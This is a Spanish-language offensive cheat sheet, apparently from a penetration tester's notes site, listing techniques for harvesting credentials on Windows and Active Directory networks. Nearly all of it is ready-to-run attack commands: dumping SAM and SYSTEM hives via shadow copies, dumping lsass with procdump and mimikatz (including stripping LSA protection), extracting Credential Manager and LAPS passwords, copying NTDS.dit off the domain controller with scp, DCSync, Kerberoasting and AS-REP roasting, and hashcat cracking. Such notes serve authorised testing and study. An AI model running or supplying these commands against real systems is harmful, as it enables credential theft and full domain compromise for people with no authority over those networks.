🔑Recolección de Credenciales
Diferentes técnicas con las que obtener credenciales en una red Windows
Archivos en Texto Plano
type %APPDATA%\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Extraer Credenciales del SAM
Técnicas para obtener credenciales de cuentas de usuario local
Metasploit Hashdump
meterpreter > hashdump
Volume Shadow Copy Service
wmic shadowcopy call create Volume='C:\\'
vssadmin list shadows
copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\system32\\config\\sam C:\\users\\Administrator\\Desktop\\sam
copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\system32\\config\\system C:\\users\\Administrator\\Desktop\\system
python3 /opt/impacket/examples/secretsdump.py -sam <sam> -system <system> LOCAL
Registry Hives
reg save HKLM\\sam C:\\users\\Administrator\\Desktop\\sam-reg
reg save HKLM\\system C:\\users\\Administrator\\Desktop\\system-reg
python3.9 /opt/impacket/examples/secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCAL
Extraer Credenciales del LSASS
Técnicas para volcar las credenciales del sistema mediante el proceso lsass.exe
Sysinternals Suite
procdump.exe -accepteula -ma lsass.exe <dir-location>
Protected LSASS
mimikatz.exe
sekurlsa::logonpasswords
# ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) - (Protección LSA)
!+
!processprotect /process:lsass.exe /remove
privilege::debug
sekurlsa::logonpasswords
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
Windows Credential Manager
Técnicas para volcar las credenciales almacenadas del sistema
Acceder al WCM
vaultcmd /list
vaultcmd /listproperties:"<vault-name>"
vaultcmd /listcreds:"<vault-name>"
Volcar Credenciales Web con PowerShell
powershell -ex bypass
Import-Module Get-WebCredentials.ps1
Get-WebCredentials
RunAs
cmdkey /list
runas /savecreds /user:<username> cmd.exe
Mimikatz
mimikatz.exe
privilege::debug
sekurlsa::credman
Hashes del Domain Controller
Técnicas para volcar los hashes del Domain Controller de manera local y remota.
Volcado Local (Sin Credenciales)
En caso de no tener credenciales válidas pero sí acceso administrativo al DC.
Archivos necesarios:
C:\Windows\NTDS\ntds.dit
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\\temp' q q"
scp -r * <username>@<ip-a>:/tmp/.
python3.9 /opt/impacket/examples/secretsdump.py -security <SECURITY> -system <SYSTEM> -ntds <ntds.dit> local
Volcado Remoto (Con Credenciales)
Técnica para volcar los hashes del sistema y del DC de manera remota con credenciales válidas
Ataque DC Sync
Permisos Necesarios:
Replicating Directory Changes
Replicating Directory Changes All
Replicating Directory Changes in Filtered Set
python3.9 /opt/impacket/examples/secretsdump.py -just-dc/-just-dc-ntlm <domain>/<AD_Admin_User>@<ip>
hashcat -m 1000 -a 0 <ntlm-hash> <wordlist>
Extraer Credenciales del LAPS
Técnica para enumerar y obtener credenciales de un administrador local de un entorno AD si está configurada y habilitada la función LAPS.
Enumerar función LAPS
dir "C:\\Program Files\\LAPS\\CSE"
# Look for AdmPwd.dll
Get-Command *AdmPwd*
Find-AdmPwdExtendedRights -Identity *
Find-AdmPwdExtendedRights -Identity <OU>
net groups "<group>"
runas /user:<username> cmd.exe
Obtener Credenciales
Get-AdmPwdPassword -ComputerName <computer-name>
Otros Ataques
Ataques extra sobre un entorno AD para obtener credenciales
Kerberoasting
Enumeración
python3 /opt/impacket/examples/GetUserSPNs.py -dc-ip <ip> <domain-name>/<username>:<pass>
python3 /opt/impacket/examples/GetUserSPNs.py -dc-ip <ip> <domain-name>/<username>:<pass> -request-user <SPN-username>
Explotación
hashcat -a 0 -m 13100 <hash> /usr/share/wordlist/rockyou.txt
AS-REP Roasting
Necesita enumeración previa de usuarios válidos
python3.9 /opt/impacket/examples/GetNPUsers.py -dc-ip <ip> <domain-name>/ -usersfile users.txt
Última actualización